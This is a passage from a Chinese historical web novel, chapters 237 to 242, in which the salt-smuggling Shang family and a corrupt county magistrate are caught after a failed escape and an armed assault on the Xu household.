想了想,徐玉安敛眸,“往南。” 往北不是去金都吗? 那是自寻死路。 所以这些人,肯定会往南走。 肩膀忽然被人拍了一下,吓得徐玉莹差点叫出声来,所幸被徐玉安快速捂住了嘴,这才生生将所有的话都咽回去。 安信? “你怎么在这里?”徐玉安诧异。 安信做了个禁声的动作,看向不远处的队伍,然后伸手指了指。 这还需要问吗? 他们的消息送回徐家,安信就追上了,早就在码头等着他们了。 “也就是他们太慌乱,否则就你们这跟踪人的把戏,啧啧啧……”安信直摇头,“接下来就不是你们两个的事了,交给我。” 徐玉安点点头,拽着自家妹子赶紧撤离,转身去了边上的一个小饭馆里,坐在这个位置能看见商家的队伍,但又不至于引起他们的注意。 这地方人多,不适合动手。 安信一点都不着急,就等着高秀娥带着人出去,自然会有人在候着他们,都到了这个时候才想着要跑,恐怕没那么容易了。 天罗地网,休想再置身事外,逃出生天。 高秀娥慌里慌张的,只顾着儿子和银子,其他什么都顾不得了,至于家中老者以及其他的亲眷,那都是次要考虑。 人嘛,在面临生死问题的时候,总会有所取舍。 车队离开的时候,高秀娥瞧着躺在身边软担架上的儿子,一颗心七上八下的,总觉得会有事情即将发生,也不知道自己能不能逃出去?更不晓得商城是否也能脱险? 荣华富贵享受了那么多年,遭点罪也是应该…… 车队快速离开,不敢走人多的地方,怕被太多人瞧见,到时候摸清楚了他们的路径和逃离的方向。 可没想到的是,正中安信的心思。 真是瞌睡来枕头,正好连人带银子全部打包带走…… 马车忽然停下来,惊得车内的人全部心慌起来。 高秀娥一下子掀开了车窗帘子,“怎么回事?怎么停下来了?还不赶紧走?” “怕是走不了了!”拦路的人,低声开口。 高秀娥面色惨白,慌忙推开了车门,目光一滞,已然明白了这其中缘由,身子止不住的颤抖着,竟是连话都说不出来。 “夫人?”底下人已经拔出了刀剑,“拼了吧?” 没办法了! 有人拦路,来者不善。 “护着我与公子先走。”高秀娥回过神来。 人活着才有机会,所以眼下只能拿别人的没那个去拼。 下一刻,所有的商家护院就冲了上去,紧接着便是鲜血迸溅。 “夫人、公子,快走!” 马车快速朝着前面跑去,速度极快,不敢有片刻耽搁。 高秀娥坐在马车里,抱紧了自己的儿子,冷汗自额头涔涔而下,后面的交战声还在继续,听得人心惊胆战。 “商家的列祖列宗保佑,一定要护佑我儿平安!”瞧着怀中,昏迷不醒的商武,高秀娥忽然泪如雨下,“武儿啊!你一定要好好活着!一定要好好的!” 可现在看来,似乎有点难了…… “追!” “别让他们跑了!” 刹那间,马蹄声阵阵刺耳。 高秀娥狠狠闭了闭眼,仿佛是来不及了! 跑不了! 跑不了! 第二百三十七章 他们杀上门来了 这边马车都被人拦下来了,那边商城还想着垂死挣扎一番,毕竟身后还有个长乐门,若是真的闹起来,说不定长乐门还能帮一把。 当然,如果真的不成了,至少长乐门能出手助他离开…… 商城也没闲着,在高秀娥带着儿子走后,便让人收敛了商野的尸身,想要风光出殡是不可能了,所以只能先寄存于棺材之中,停放在后院里安置。 其他的,等到时候再说罢了! “老爷?”底下人冲上来,“怎么办?” 商城回过神来,“还能如何?都到了这个地步,只能是拼一把,若是运气好了,咱还能绝地逢生,如果运气不好……那也就这样了!” 运气不好还能如何呢? 死! 一个字罢了! 事已至此,搏一搏罢了! “走!” 商城想着,这永安县里想要做成这些事情,着实有些艰难,金都的郎官到这人生地不熟的地方,肯会束手束脚,但现在却如鱼得水,必定有人帮衬。 这永安县里想要找个帮衬他们的人,还真是不容易,毕竟无人敢与商家作对,除了……徐家! 徐敬那个老不死,早些年就跟商家不对付,后来儿子徐庚接手了徐氏医馆,更是看商家不顺眼,所以这父子二人若得金都郎官的授意,必定会从中作梗,这忙一定是他们所为。 “带上人,跟我去一个地方。”商城抬步就走。 底下人瑟瑟发抖,“衙门那边……” “县令都快自顾不暇了,还哪儿顾得上我?”商城眯起危险的眸子,“这个时候再不做点什么,可就真的什么都来不及了。带上家伙!” 徐府。 瞧着围拢上来的众人,王氏咬着牙,“你们想干什么?” 管家带着护院就守在门口,与自家主母一道,保护家中周全。 东家出去的时候,可都交代过了,务必要守好门窗,防的便是他们商家的人,没想到竟是真的打上门来了。 是可忍孰不可忍! “这可不是商府,要耍威风就回你们商府去,我们徐家不吃你们这一套!”王氏冷着脸,“旁人怕了你们商家,可我们徐家不怕!” 商城目光狠戾,人群中让开了一条路,他便慢慢悠悠的走到了最前面。 “徐庚呢?”商城问。 王氏与管家对视一眼,这是作甚? “别管我家夫君在哪,只说你们想干什么吧?”王氏挺直了腰杆,她算是看明白了,这就是来找事的,已经没有对错和是非可分。 思及此处,王氏冲着管家使了个眼色。 管家了悟,让底下人快速从后门离开,前去报信。 “把人交出来。”商城开口。 王氏:“??” 这商城莫不是老糊涂了,莫名其妙。 “呵,这话应该是我们来说,你们把月大夫藏哪儿了?”王氏冷声厉喝,“人是从我们这儿带走的,最后却消失在你们手里,我没找你们要个交代,你们反倒是恶人先告状,这天底下还有王法吗?” 商城打量着王氏,琢磨着她话里的意思,难道说这件事真的跟徐家没关系? 不,不可能! 事已至此,就算没关系也得扯上关系,休想置身事外。 “那小贱人到底跑哪儿去了,你们心知肚明。正因为她一声不吭的跑了,连累吾儿病重不治,这笔账就该算在你们徐家的头上。若说不是蓄意谋害吾儿,怕是鬼都不信!”提到儿子,商城整个人都震颤得不成样子。 瞧着他这一副几乎要吃人的模样,王氏心头一惊。 死了? 谁死了? 商城的儿子? 小月儿这么厉害的吗? 让这罄竹难书的商家,就此斩草除根。 真好真好,算是为民除害了! 王氏压住唇角的弧度,故意皱了皱眉,“你儿子死不死的,跟我们有什么关系?一码归一码,人是你们带走的,如今让你们还回来,有什么错?商城,你们坏事做绝,自该有报应,但多少人因为你们商家而家破人亡,你们活该自尝苦果。” “呵!自尝苦果?”商城扬起头,长长吐出一口气,“给我杀进去。” 音落,双方都各自愣怔了一下。 “杀进去!”商城怒喝,“都聋了吗?” 若是别的倒也罢了,杀进去? 这大庭广众,朗朗乾坤的,实在是…… “冲进去啊!进去啊!把人给我找出来!”商城仿佛是疯了。 顷刻间,所有人都往里面冲。 管家和护院第一反应是护住王氏,“关门,关门!” 天杀的。 商城这是抽的哪门子羊癫疯? 以往再疯,也不至于疯成这样! 大门被重重合上,商城带着人在外面砸门,刀剑劈砍在门上,惊得门内众人都跟着变了脸色,委实没闹明白,这商城今日是怎么了? 丧子之痛? 王氏明白了,“快,去找老太爷。其他人,去拿石灰粉过来,还有之前准备好的那些东西,都给我架起来。我就不信了,他还能上天!” 人善被人欺,但老实人也有被逼急了的时候。 徐敬沉着脸,拄着杖站在檐下。 底下人来报的时候,他看了一眼悬在墙上的长剑,可惜年纪上来了,要不然就算是文弱书生,也得持剑去劈那竖子。 “老太爷,您赶紧跟咱走吧!”底下人战战兢兢,“门口已经闹得很厉害,夫人说,得先保证您的安全,还是快点离开为好!” 徐敬拄杖,面色凝重,“我就在这里,哪儿都不去。他商城算个什么东西,就算他爹来了,我这把老骨头也敢站在他面前,指着那老东西的鼻子骂一顿。商贾之流为何遭人唾弃,便是因为这等不明是非,贪婪无度的害群之马。” 一颗老鼠屎,坏了一锅粥。 “老太爷?”林序的忽然出现,就像是安定人心的定心丸。 徐敬松了口气,“不必顾虑我,去前面看看吧!我在这儿,不会乱跑,也不会有事的。你们只管去办你们的事,快去吧!” “是!”林序留了两个暗卫,其后便带着人快速朝前走去。 瞧着林序回来,徐敬想着,莫不是外孙女婿有着落了? 外孙女找到了?! 林序赶过去的时候,商家的人还没冲进来,但是大门被砍出了痕迹,可想而知,外面是怎样的场景? 王氏脸都白了,但神情依旧镇定,只有在看到林序赶来的时候,眼底才有泪光盈动,张了张嘴,却不知该说什么? “夫人,这里交给我。”林序忙道。 王氏连连点头,当即带着丫鬟转身朝后院去,她得先去顾着老太爷,何况自己也不懂拳脚功夫,就不跟这添乱了。 第二百三十八章 拿银子换人命 林序的出现,让所有人都定了心神,毕竟这位可是霍家的人,出现在这里就代表着霍家,何况林序功夫好,比满院子的护院都强多了,有他在必定错不了。 “开门。”林序开口。 众人你看看我,我看看你。 但,无人有异议。 管家亲自带着人去开了门,眼见着被砍得破败的大门打开,外面的人忽的愣怔了片刻。 大概没料到,徐家竟有这么大的胆子。 一时间,便是商城也跟着愣了愣,握紧了手中的刀子。 然而,瞧见出现在人前的林序时,商城便明白了其中原因,没想到林序居然会出现在这里,他不是被自己关在了柴房里,有那么多人看着吗? 怎么会? “竟是叫你跑出来了!”商城怒不可遏。 林序仿佛听了一个笑话,“叫我跑出来了?你这老东西说话还真是奇怪,若不是我愿意待在那里,给我家公子争取时间,你以为你们能留得住我?不过是顺势而为,倒是将你们给惯得好生得意。” “你!”商城咬牙切齿,“你们都是一丘之貉。” “别!”林序打断了他的话,“这话说得可就不对了,我们这是志同道合,唯有你们商家,与长乐门那些人,才是一丘之貉、同流合污。” 商城握紧了手中刀,“冲进去。” 林序手一挥,身后的暗卫旋即一字排开,管家带着护院退到了后面,若是林序拦不住人,那徐家所有的人就是最后一道防线。 “决不能让他们伤到夫人和老太爷!”管家沉着脸。 众护院纷纷拔剑,守住了各个进出口,只等着最后的殊死一搏。 林序没给他们机会,就这么点宵小之辈,还敢舞到自己跟前? 找死! 商家的人已经是强弩之末,这个时候还有什么可犹豫的,当即跟着自家老爷,拼了命的往前冲,成则荣华富贵,败则满门皆诛。 可惜,败了。 林序是霍青行的得力干将,是他手底下最强劲的兵,在商城冲上来的,几乎不费吹灰之力,就在人群中擒下了他。 “也不出去打听打听,想当年,老子在万军中杀敌将,那叫一个手到擒来,就你们这帮废物,竟还敢往上送死?”林序的剑就架在商城的脖颈上。 只差分毫,就能直取他首级! “别!”商城骇然。 林序当然不会下死手,“都给我住手!” “住手,都住手!”商城如梦初醒,到了这个时候才想明白,自己现在是什么处境,登时脸都白了。 林序瞧着面面相觑的商府众人,将剑锋往前送了送,登时在商城的脖颈上,留下了细细的血痕,惊得众人慌忙放下手中刀剑。 “把他们都给我捆起来。”林序下令。 不瞬,众人皆被手脚绑缚。 管家顿觉神清气爽,尤其是见着所有人都被绑起来,登时连脊背都挺直了,“让你们嚣张,让你们砍大门!林公子,是不是把人都送去衙门?” “你觉得他们敢大张旗鼓的来闯徐家,敢拿着刀剑在街上晃悠,县衙那边为何没动静?”林序反唇相讥。 管家哑然。 很显然,衙门肯定知情。 更可能,两者相互勾结。 “先把人看好。”林序吩咐,“关好徐家的大门,不管外面如何,你们得先护住夫人和老太爷,其他的事情就交给咱们便是。” 管家连连点头,“是!” 霍家到底是霍家,跟徐家是不一样的,何况金都那边…… 大门再度关上,各个进出口都被严加看守起来,免得商家的人再度来犯。 柴房。 林序瞧着被五花大绑的商城,似笑非笑的勾起唇角,“商城,没想到吧?在永安县横行无忌了这么多年,到底还是栽了。此前可能想过这样的场景,但是没想到还会有什么,接下来……你可以想清楚,是负隅顽抗,还是好好交代?” “交代什么?”商城明知故问。 林序眯了眯眸子,“贩卖私盐,这四个字代表着什么,你不会不清楚吧?身为商贾,朝廷律法亦是清楚明白,这么多年过去了,财富累积了不少,可这命嘛……也是快到头了。” 商城的身子在颤抖,却还是闭紧嘴巴。 “儿子都没了,媳妇也跑了,你一个人在这里死扛着,还有什么意义呢?真以为我们什么证据都没有,就敢如此这般?金都来人,那是因为掌握了证据,所以才会来人。”林序继续道,“证据在手,是来抓你们的!” 要不是这样,他们何至于如此害怕。 “长乐门的明哨暗哨都被掀了,斩断了你们所有的退路。”林序继续道,“商家贩卖私盐的证据,与长乐门合谋的证据,不管是账册还是通信往来,都被找到了。” 商城面白如纸,很清楚现在的局面。 没救了。 真的没救了。 “商家,完了!”林序站起身来,掸了掸身上的灰尘,“不过你放心,跑掉的还是会被抓回来的,毕竟是一家人,哪怕是罪责滔天,也得一家子齐齐整整,一起领受!” 商城很清楚,林序为什么要这么说。 “别!别!”商城即便被五花大绑,也想挣扎着站起身来求饶,“放过我夫人和儿子,只要你们能高抬贵手,让我做什么都成,求你了!我知道,霍家有这个能力,只要你们高抬贵手,我夫人和儿子就一定可以逃出生天。” 的确。 只要如今放弃追捕,那边就能逃出生天。 可是,凭什么? “素日里不积德行善,如今倒是想要旁人行善,你凭什么?”林序居高临下的睨着他,“你可知道永安县里的百姓,是如何评价你们商家的吗?你两个儿子,你的夫人,都不是什么好东西,平日里欺男霸女,横行乡里,鱼肉百姓,干的缺德事太多了,如今便算是报应到了!” 商城面色灰败,俨然是濒临崩溃,对于林序说的那些,无可辩驳,也无力辩驳。 “就算你不来徐家,咱们也打算去一趟商家,如今正好送上门,倒是省了咱的功夫。月大夫在商家吃了多少苦头,咱会一点不剩的都讨回来。”林序不温不火的开口,“且等着吧!” 商城挣扎着,“我愿意倾尽家财,只求保全妻儿性命,林公子……林公子,我以商家全部的财帛作为交换,如此可好?我知军中辛苦,你们的粮饷必定不足,但我商家那么大的家业,累积财富数以万计,如果、如果有了这些银子,你与家族后半辈子无忧,几辈子都吃不完。” 林序皱眉,好嘛,这是要贿赂他? 第二百三十九章 公门的人进来了 “小爷在边关的时候,什么没见过。”林序觉得很可笑,“当你见过了生死之后,那些荣华富贵就没那么要紧了。商城,商人重利我能理解,可明明已经享受了荣华富贵,却还要贩卖私盐,那就是贪得无厌,我最恨的就是贪得无厌之人。” 商城忽然不知道该说什么了,贪得无厌这四个字,平日里倒是没什么丢人的,可到了这会就成了压死商家的大石头。 因为这四个字,商家完了。 商家所有人,都完了! “商城,你是咎由自取,你那些财富还是留着进国库吧!”林序冷笑两声,“用这些银子去填国库,倒也是不错的结果。” 当然,也有可能被人中饱私囊。 林序站直了身子,转身往外走,“看好他,商家的人一个都不能少!” 这帮狗东西,都得下地狱去! 坏事做绝的人,不配得到好下场。 “不知道公子这会在哪儿呢?”林序直挠头,“跑得那么快,栓两暗卫就跑,连个消息都不留下,不知道自己跑得有多块吗?” 真是愁人啊! “还没有公子的消息吗?”林序问。 随扈摇摇头,“没呢!这一跑出去,倒是不少人瞧见,但跑出去之后就没影了,林副将又不是不知道,少将军的脚程有多快,咱们几个狗脑袋加一块,都瞧不见他的衣边边。” 暗卫不一样,那是特别训练的,是老将军那边派来的,专门用来追踪少将军的,练的就是轻功。 “真是糟心!”林序叹口气,“八成是有了月大夫的消息吧?” 随扈低问,“那位月大夫跟少将军,心有灵犀吗?要不然少将军怎么能找到人?咱这么多人,包括徐家的奴仆,都在街上找人,愣是一个都没找到呢!” “你懂个屁!”林序白他一眼,“这叫爱情的力量,不是有什么诗,说什么身上没翅膀,心里有翅膀就能显灵?” 随扈:“??” 翅膀? 少将军这是飞了? 还是月大夫长翅膀了? “哦!”随扈皱了皱眉,一副恍然大悟的模样,“月大夫飞进了少将军的心里,所以不管月大夫在哪,少将军都能感应到,是这个意思吧?” 林序咂吧着嘴,“差不多吧!月大夫给公子吃过不少好东西,估摸着这里面能有点,与常人不一样的关联,要不然怎么会双双失踪呢?” 但凡是在街上,他们这么多人在找陈识月,肯定能碰上,不至于消失得这么彻底! “跑哪儿去了呢?”林序缓步往前走。 人在哪呢? 真是为难人呢! 但,有少将军在,月大夫应该就安全了。 只要不耍阴招,不行车轮战,以少将军的身手,应该罕逢敌手。 如林序所料,有霍青行在,陈识月就是安全的。 一个是百宝箱,一个是青锋剑。 两人联手,所向披靡。 霍青行瞧着面色稍微好转的两个暗卫,暗自松了口气,再看着脸色不太好的陈识月,显然是累着她了,不由得满眼心疼之色。 “没事了!”陈识月收起针包。 霍青行捻着帕子,轻轻擦去她额头的汗,“辛苦了。” 辛苦是必然的,这天底下没有什么事情是不辛苦的,但辛苦能换来得偿所愿,却也是值得的,眼见着两个暗卫捡回一条命,陈识月长长吐出一口气。 如释重负! 没事了! 没事就好! “好了,等他们缓过神来,咱就可以走了。”陈识月收拾好了所有物什,满意的拍着自己的随身小包,有这些东西在,她这心里就踏实了。 瞧着她这般模样,霍青行的心里也踏实了。 在这里待了这么久,不知道城中现下如何? 刑部的郎官和转运司的人,早就准备妥当,与自己人里应外合,应该已经拿下了商家吧?有林序和安信他们在,商家一个都跑不了。 只是,这县衙里的动静,估计也小不了…… “怎么了?”陈识月瞧出他的异常,当下开口,“是不是担心林序他们?” 霍青行目光温柔的看向她,“不着急,林序若是连这点小事都办不好,就枉费跟着我这么多年。” “他是反应快,不是性子急,你莫要担心。”陈识月瞧着树荫下的二人,“还得连着扎几天,要不然的话,依旧会有复发的可能,到时候可就棘手了。” 被猴爪子挠出了伤口,没有及时救治,爪子上的毒素就会渗入肌理,一旦入了心脉,那便是药石无灵,为时晚矣。 好在,来得及。 “嗯。”霍青行点头。 都是跟着他一路走来的弟兄,他自然也不愿瞧见他们出事。 约莫过了一个时辰,这二人算是彻底缓过劲来了,不似之前面色潮红,胸闷气短,站起来倒也没什么异常,只不过这四肢发软,的确没办法再行动了。 “这两日不能动武,得好好静养,若是血脉流动太快的话,容易出事。”陈识月说得很婉转,“记住了,千万不要轻举妄动,先躲躲吧!” 霍青行也听明白了,这些话也是冲着他说的。 “你们二人慢慢走回去便是,记住了,千万不要与人动手,其他的事情我会交给其他的弟兄,明白吗?”霍青行伸手扣住了陈识月的腰肢,“明日来找我,该扎针就扎针,该吃药吃药,别不把自己的命当回事。” 好歹,是她千辛万苦救回来的,可不敢让她的心血损失分毫。 “是!” “是!” 霍青行忽然带着陈识月纵身一跃,耳畔风驰电掣,两侧树木倒退,一瞬间的事儿,让陈识月心肝砰砰乱跳,几乎是下意识的抱住了他的脖颈,窝进了他的怀中。 对此,霍青行很受用,唇角止不住勾起,脚下跑得快要冒火星了。 他跑得越快,她抱得越紧,将脑袋愈发深埋在他怀中…… 那边,已经乱成了一锅粥。 商城进了徐家没出来,衙门的人也跟着到了,师爷带着人冲进了徐家,大批的衙役包围在外,可想而知这场面有多令人……窒息! 徐家所有人都僵愣在原地,若是商家的奴仆便也罢了,说到底也是平民,可现在是衙门来人,一个个穿着公服,手持刀剑冲进了徐家。 有那么一瞬,所有人头顶冒汗,毕竟民不与官斗,谁敢反抗…… “你们想干什么?”管家嗓音都变了,“师爷,咱徐家堂堂正正开医馆做生意,行医救人,不曾犯过疏漏,你们这是……这是想干什么?” 师爷脸色不虞,“徐东家在哪?” 第二百四十章 这顶乌纱帽肯定保不住 听闻这些人要找徐庚,管家沉默了,众徐家奴仆也都沉默了,他们是断然不愿意将东家交出去的,明知道来者不善,哪儿能把人交出去。 众人沉默不语,师爷面色凝重,“人呢?” 无人应答。 “人呢!”师爷厉喝。 众衙役旋即拔剑相向,可见局势僵持。 “若不把人交出来,就休怪咱们不客气了!”师爷今日好似势在必得,“给我搜!” 徐家的护院齐齐站成一排,挡在了所有衙役跟前,这个时候谁都是慌乱的,但……但都想保护自家东家,东家那么好的一个人,若是被诬陷,那还有天理吗? “怎么,你们徐家要造反不成?”师爷冷声厉喝。 众人心头剧颤,隐约萌生退意。 下一刻,林序慢悠悠的走了出来,嘴角叼着一根草,吊儿郎当的瞧着眼前的场景,“衙门理该清明,为民做主,而不是为非作歹,助纣为虐。” “你是何人?”师爷一怔,“想干什么?” 林序双手环胸,就这么居高临下的睨着他,“我要干什么,这不是明摆着的事情吗?只不过……我这名号太大,我怕我说出来,会吓死你们!” “把他给我抓起来!” 师爷想着,杀鸡儆猴,总归是没错的吧! 然而衙役刚一近身,林序身后的便衣军士纷纷拔剑,顷刻间威压如雷,让人不敢靠近。 这是…… 师爷忽然意识到,眼前人身份不简单。 “你们想造反不成?”忌惮林序背后的身份,但师爷是一点都不忌惮徐家,毕竟再怎么样,徐家在永安县这么多年,到底有几斤几两,衙门众人也是清楚的。 林序可不惯着他们,伸手一拦,眼角眉梢轻挑,“怎么着,真的想来硬的?” 自然。 “你不是永安县的人,这里的事情轮不到你来管,趁早让开,否则的话连你一起收拾。公门办事,外人无权置喙,你别自找麻烦。”师爷言辞激烈,“给我……” “我你个头啊!”师爷这话还没说话,脸上冷不丁挨了一巴掌,林序嘴角都扯成了翘嘴,“就烦你们这些不讲道理还要死拼道理的读书人,整日叽叽歪歪的,什么歪理到了你们的嘴里,都成了冠冕堂皇的借口。” 师爷是个读书人,哪儿经得起林序这一巴掌,直接给人打蒙圈了,冷不丁仰头摔去,好在被身后的人赶紧搀扶了一把,这才堪堪站稳。 耳朵里嗡嗡作响,师爷一张嘴便吐出一颗牙,满嘴都是鲜血。 那一瞬间,所有人都噤了声。 “呵!”林序不以为意,自己的手劲儿有多大,他心里很清楚,方才那一巴掌还是收了力道的,要不然能把他打到爬不起来。 师爷捧着掌心里的牙,看着满手的血,登时连眼睛都红了,“你、你……” “说话漏风就少说话。”林序不以为意,“还不赶紧滚?你们是都想挨一巴掌吗?” 师爷这巴掌挨了,却是打出了反骨,怎么可能就此罢休,当即满嘴喷血的怒喝,“都是一帮废物吗?还愣着干什么,还不赶紧把人抓起来,要是让人跑了,县令大人怪罪下来,你们谁也别想落个好!” 刹那间,所有人都仿佛燃起了斗志,当即扑向了林序。 “嘿,小爷这暴脾气!”林序已经许久不曾动手了,所以这会自然是不客气,“谁都不要插手,有事我一力承担。” 林序下手,快准狠。 这帮人都不够他塞牙缝的,一股脑将所有人都撂趴下了。 “就这么点本事,也敢来凑热闹?”林序居高临下的看着,所有跪地求饶的人,“衙门不干好事,却来欺负平头百姓,真是对不起你们身上这一层皮!” 管家在边上连连点头。 “你、你……你这狂徒!”师爷歇斯底里,“你等着,大人不会放过你的,不会放过徐家的!” 林序深吸一口气,“这一次不是你们不放过徐家,而是我不放过你们了。管家,关门!” 管家:“??” “吓傻了?关门都不会了?之前怎么收拾商家的,如今就这么收拾他们,徐家的柴房不够大,后院应该够大吧?”林序瞥他一眼。 管家了悟,果断大喝一声,“关门!” 刹那间,家仆冲上去,再度关闭了徐家的大门。 大门“砰”的一声关上,这破败的大门承载了太多不属于它的宿命,每次关门都是为了抓人,这一次也不例外。 顷刻间,师爷慌了手脚,“快,快冲出去!” “晚了!”林序低喝,指尖轻点,“全都给我绑了!” 师爷挣扎着,“你们敢!” “敢不敢的,你待会就知道了。”管家率先带着人上前,徐家不缺绳子,不缺堵嘴的抹布,“给我都塞后院去,派人严加看管。” “是!” 其实永安县的人都很清楚,衙门和商家是一丘之貉,得罪了商家就算是告到了衙门都是求助无门,毕竟县令大人会相互包庇,虽然明面上不会做得太过,但暗地里人尽皆知。 “你们……呜呜呜……” 师爷被五花大绑,嘴巴里塞了东西,直接丢到了后院,这下子就算是扑棱也扑棱不起来了,只剩下满嘴的呜呜呜声音。 人被带下去之后,管家还有点小兴奋,大概是永安县这么多年,一直没人敢正面硬刚商家,也没人敢在县太爷头上动土。 “这师爷平日里就狐假虎威的,咱们这心里都跟堵着一块石头似的,这会算是出了一口恶气。”管家解释,“只不过这么一闹腾,县令那边怕是不安生,林公子要小心了!” 林序还真不怕这一个衙门,“县令那边自然会有人收拾的,沆瀣一气又如何?到了这个时候,那叫一个都别想跑。” “但愿吧!”管家点头,面露难色,“林公子,今日此举应不会牵连到主家吧?哦不,我的意思不是……主要是……” 民不与官斗,若只是一个商家倒也罢了,商家只是个商贾,徐家好歹也是书香门第,在地位上的确远胜过商家。 但涉及到了衙门,这就有点不够瞧了,毕竟徐家还得在永安县立足,若是不能一举拿下县令,一旦林序他们走后……徐家的日子不会好过,连带着徐家生活的仆从,也会跟着很难过。 “放心吧!”林序几乎可以打包票,“跟商家牵扯在一起,县令这一次不死也得扒一层皮,脑袋上这顶乌纱帽是决计保不住的。” 管家如释重负,“那就好,那就好!” 阿弥陀佛,谢天谢地。 赶紧保不住吧…… 第二百四十一章 一家齐齐整整,谁也别想跑 这徐家就成了吞金兽,来一个吞一个,来两个吞一双,只进不出。 外头的衙役等了半天,始终没见着里面的人出来,最后也都是面面相觑,没一个人敢擅离职守的闯进来,不管里面发生什么事情,都不是他们能管的。 上头的事情,跟他们哪儿有关系? 只是听吩咐办事的小喽啰,岂敢沾染上头的事情,要不然当了出头鸟,哪天大祸临头,可就真的要变成替死鬼了。 徐家的大门重新合上,林序倒也没闲着,少将军不见踪迹,月大夫消失无踪,若是一味纠结于此,那其他的事儿还办不办了? 少将军有他自己要做的事,但不能耽误所有的事,他可以身处中心位置,但必须以大局为重。 边关战局素来诡谲多变,若是事事都以个人为重,一则容易动摇军心,二则容易让人钻空子,稍有不慎……搭上的便是数十万将士的性命。 霍家军看似一个整体,在遇见危险的时候又能各自为战,以大局为重,谁都不会成为彼此的拖累,只会一个带着一个,努力的往上冲。 这也是当初国公府出事之后,帝王为何没有直接迁怒霍家的缘由,霍家的兵权不仅限于兵符之上,而是霍家的威信与军心。 强行动了霍家,只会火上浇油,不会达到兵权归朝的效果。 既如此,只能按兵不动。 动了国公府已经让朝廷人心动荡,若是再动霍家,一旦边关出现闪失,那就是腹背受敌,内忧外患,到时候外敌趁势而起,必当危害天下。 林序自去办他的事情,反正该派出去的人都派出去,剩下的就等着最后结果…… 结果很快就来了,刑部的人已经直接进了县衙。 这下子,县太爷都急了。 家里卷铺盖准备跑路,堂前还得跟刑部的郎官周旋,冷汗沿着额头不断往下,穿着官袍都在止不住的颤抖着。 到了这时候,什么都瞒不住了。 当账册被搁在桌案上,刑部的郎官端坐在上,一声“拿人”的令下,什么都来不及了,县令几乎是当即被摁下,连争辩的机会都没有。 “有什么话留着回刑部说吧!带走!” 县令很清楚,自己做了什么事,被带走的时候只盼着自己的妻儿老小能跑出去,可惜长乐门不顶用,没能完成县令期盼之事。 在县令的家中,搜出了大批来路不明的银子,从书房中搜出了还没烧完的信笺和账册,府中所有人都被当即按下。 因为人数太多,郎官进永安县之前,还特意知会了知府那边,调拨了守军协助。 现如今动乱已起,守军直奔永安县。 百姓被吓坏了,一个两个赶紧跑路,纷纷回家关门闭窗,虽不知道究竟出了什么事情,但县太爷都被抓起来了,那肯定事儿不小,谁也不想被牵连其中。 县令家中被查抄,商家被封,所有涉事人员全部被拿下,不管是否牵连其中,在没有明确保证自身清白之前,所有人都得被羁押,以待查察。 诗文大会,彻底成了闹剧。 原本商家想趁着这机会,将刑部的人悄悄处理,到时候朝廷就算查下来,也不可能将所有的学子都定罪为凶手,如此一来,必定牵连无数,到时候便会连累到科举。 今日学子,明日栋梁。 可惜啊,商家和县令到底是算错了。 刑部的郎官没能死在半路,后来还悄悄潜入了诗文大会,趁他们不备的时候,将一切都搅乱,窃取了所有的账册和往来证据,连带着库房里所剩下的私盐,以及船夫、帮工等人,也都被一一拿下。 这一场动乱,几乎闹得永安县人仰马翻,但都是值得的,因为商家被查抄,对于所有人来说这就是天大的好事。 商家在永安县欺男霸女,横行无忌,实在是太久太久了…… “全部都给我带回去!”军士冷然厉喝,“封!” 封条旋即贴上,谁也不能再进出商府,待查清楚之后定罪,里面的一切都充归朝廷。 徐庚亲自把商城送去了县衙,如今衙门里坐着金都来的官员,自然是高兴的,对于徐家亦是早有耳闻,书香门第,医者世家,远在金都也有盛名。 当然,送回来的不只是商城,还有师爷等人。 “徐庚!”商城恨得咬牙切齿。 一回头,瞧着徐家的兄妹二人,将高秀娥绑送回来,商城的脸就更白了。 原本就对徐家恨之入骨,这下子恨不能活吞了他们。 “爹!”徐玉安笑着行礼。 徐玉莹是个耐不住性子的,见面就如同竹筒倒豆子一般,将话吐得感觉,“看我们把谁带回来了?这刁妇想要带着银子和儿子跑,被咱瞧见了,合着安大人一起,把人给送回来了,一家子就得齐齐整整,这下子谁也别想跑。” 商家的人,一个都别想跑! 商城瞧着担架上,被抬着回来的商武,差点眼一翻就晕死过去,谁能想到终究是晚了一步,妻儿老小一个都没能跑出去。 贩卖私盐,这是抄家灭族的死罪,这下子……大罗神仙,都救不了商家! “你们、你们……”商城眼睛猩红。 高秀娥头发散乱,狼狈不堪,“老爷?” “都是命!”商城狠狠闭了闭眼。 商武这会还有一口气,躺在担架上一动不动,这副样子进了大牢,只有等死的份,所以现在活着,不代表过两天还能活着。 商家这一脉,就到此为止了。 “徐庚,我就算是死,也不会放过你们的。”商城恶狠狠的盯着徐庚,“你们徐家,你们徐家该死,我做鬼都不会放过你们!” 徐庚还没开口,徐玉莹已经抢先一步,“那就等你做鬼再说,怕只怕坏事做绝,到时候上刀山下油锅,堕十八层地狱,永不超生啊!” “带进去!”军士一声低喝。 商家众人全部被押进大牢,这下真的是齐齐整整一家人了…… “老爷!老爷!”生伯急急忙忙的跑来,“表小姐和姑爷回来了!” 徐庚大喜,“没事就好,没事就好!” “姐姐回来了?姐夫也在?”徐玉莹欣喜。 徐玉安如释重负,“还好没事!” 一家人慌忙往回赶,没事就好,要不然怎么对得起徐瑶在天之灵…… 霍青行和陈识月安然归来,王氏在边上直抹眼泪,说不出成句的话来,徐敬老泪纵横,悬着的心终于落回肚子里。 “没事就好!”徐敬握紧陈识月的手,“多谢祖宗保佑!” 第二百四十二章 我是你的谁?心腹 陈识月安然无恙的回来,徐敬卡在嗓子眼里的那一口气也算是彻底松懈,忽的眼一闭便直挺挺的倒了下去。 “外祖父!” “父亲!” 霍青行眼疾手快,直接把人托住,紧接着便是打横抱起,直接把人送回了房内,放在了床榻上,“小月儿!” 陈识月不吱声,坐下便把脉。 还好! 还好,只是因为情绪太过激动,所以一下子厥过去了。 “外祖父年迈,经不起刺激,所以此番有点受不住,好好静养便是。”陈识月解释,“舅母放心,没什么大碍。” 王氏抹着泪,如释重负的松了口气,“那就好,那就好!” 如此,陈识月也放心了。 “月儿,你如何?”回过神来,王氏拽着陈识月的手,上下仔细的将她打量了个遍,确定她没什么大碍,这才彻底放下心来。 所幸,无事就好。 陈识月行礼,“舅母放心,我没事。” “我知道你们年轻人有很多事情要办,舅母帮不上忙,但可以照顾家里,让你们没有后顾之忧。”王氏含笑看着她,“去做你们要做的事情,这里交给我。” 陈识月满脸感激,“舅母真好!” 她上前,轻轻抱了抱舅母。 家中有人的感觉真好,仿佛永远都有人,在为你兜底。 